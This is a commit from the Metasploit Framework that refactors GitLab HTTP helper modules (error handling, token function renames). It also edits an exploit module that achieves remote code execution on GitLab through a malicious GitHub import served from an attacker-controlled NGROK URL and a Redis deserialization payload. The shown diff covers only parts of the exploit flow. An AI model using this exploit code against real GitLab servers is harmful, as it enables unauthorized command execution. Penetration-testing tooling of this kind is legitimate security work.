Apply suggestions from code review

This commit is contained in:
Heyder Andrade 2022-12-04 17:29:05 +01:00
parent 5c3ac339d0
commit 8aca86b816
No known key found for this signature in database
GPG Key ID: 4A6F4028A8CA13E6
8 changed files with 48 additions and 23 deletions

View File

@ -21,7 +21,9 @@ module Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to create access token' unless res&.code == 200
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to create access token. Unexpected HTTP #{res.code} response." unless res.code == 200
token = JSON.parse(res.body)['new_token']
@ -39,11 +41,13 @@ module Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
'uri' => normalize_uri(target_uri.path, '/api/v4/personal_access_tokens/self'),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => api_token
'PRIVATE-TOKEN' => personal_access_token
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to revoke access token' unless res&.code == 204
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to revoke access token. Unexpected HTTP #{res.code} response." unless res.code == 204
nil
end

View File

@ -15,8 +15,8 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Error
# Csrf token error
class CsrfError < ClientError
def initialize
super(message: 'Could not successfully extract CSRF token')
def initialize(message = 'Could not successfully extract CSRF token')
super(message: message)
end
end

View File

@ -18,11 +18,13 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Groups
}.to_json
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, 'Unable to create group' if res&.code != 201
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
group_id = JSON.parse(res.body)['id']
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to create group. Unexpected HTTP #{res.code} response." if res.code != 201
return group_id if group_id
group = JSON.parse(res.body)
return group if group
nil
end
@ -40,7 +42,9 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Groups
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, 'Unable to delete group' if res&.code != 202
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to delete group. Unexpected HTTP #{res.code} response." if res.code != 202
true
end

View File

@ -30,11 +30,13 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Helpers
'keep_cookies' => true
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' if res.nil?
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError unless res&.code == 200
token = res.body[regex, 1]
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError if token.nil?
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError, "Could not successfully extract CSRF token using the regex #{regex}" if token.nil?
token
end

View File

@ -22,14 +22,19 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Import
}.to_json
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
# 422 is returned if the import failed, but the response body contains the error message
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, JSON.parse(res.body)['errors'] if res&.code == 422
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, JSON.parse(res.body)['errors'] if res.code == 422
# 201 is returned if the import was successfully enqueued
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, 'Import failed' unless res&.code == 201
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, 'Import failed' unless res.code == 201
id = JSON.parse(res.body)['id']
# Example of a successful reposnse body
# {"id":54,"name":"gh-import-761","full_path":"/fpXxUqzfQY/gh-import-761","full_name":"fpXxUqzfQY / gh-import-761"}
return id if id
body = JSON.parse(res.body)
return body if body
nil
end

View File

@ -23,7 +23,9 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Signin
'vars_post' => gitlab_helper_login_post_data(username, password, csrf_token)
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if res&.code != 302
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if res.code != 302
cookies = res.get_cookies
# Check if a valid gitlab cookie is returned
@ -50,7 +52,9 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Signin
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to sign out' unless res&.code == 302 && res&.headers&.fetch('Location', '')&.include?('/users/sign_in')
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to sign out' unless res.code == 302 && res.headers&.fetch('Location', '')&.include?('/users/sign_in')
true
end

View File

@ -14,8 +14,8 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Version
'uri' => normalize_uri(target_uri.path, '/api/v4/version'),
'keep_cookies' => true
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError unless res&.code == 200
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError unless res.code == 200
body = JSON.parse(res.body)
version = body['version'][Regexp.new(GITLAB_VERSION_PATTERN), 1]

View File

@ -29,7 +29,7 @@ class MetasploitModule < Msf::Exploit::Remote
then deserialize it when trying to load a user session, resulting in RCE.
},
'Author' => [
'vakzz', # discovery
'William Bowling (vakzz)', # discovery
'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module
'RedWay Security <https://infosec.exchange/@redway>', # PoC
],
@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def api_token
@api_token ||= gitlab_create_access_token
@api_token ||= gitlab_create_personal_access_token
end
def session_id
@ -128,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote
return unless @import_id
gitlab_delete_group(@group_id, api_token)
gitlab_revoke_access_token(api_token)
gitlab_revoke_personal_access_token(api_token)
gitlab_sign_out
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
print_error("#{e.class} - #{e.message}")
@ -156,12 +156,18 @@ class MetasploitModule < Msf::Exploit::Remote
vprint_status("Session ID: #{session_id}")
vprint_status("Creating group #{group_name}")
# We need group id for the clenaup method
@group_id = gitlab_create_group(group_name, api_token)
@group_id = gitlab_create_group(group_name, api_token)['id']
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
@redis_payload = redis_payload(cmd)
# import a repository from github
vprint_status('Importing a repository from github')
@import_id = gitlab_import_github_repo(group_name, datastore['NGROK_URL'], api_token)
@import_id = gitlab_import_github_repo(
group_name: group_name,
github_hostname: datastore['NGROK_URL'],
api_token: api_token
)['id']
# binding.pry
fail_with(Failure::UnexpectedReply, 'Failed to import a repository from github') unless @import_id
# wait for the import tasks to finish
select(nil, nil, nil, datastore['IMPORT_DELAY'])
# execute the payload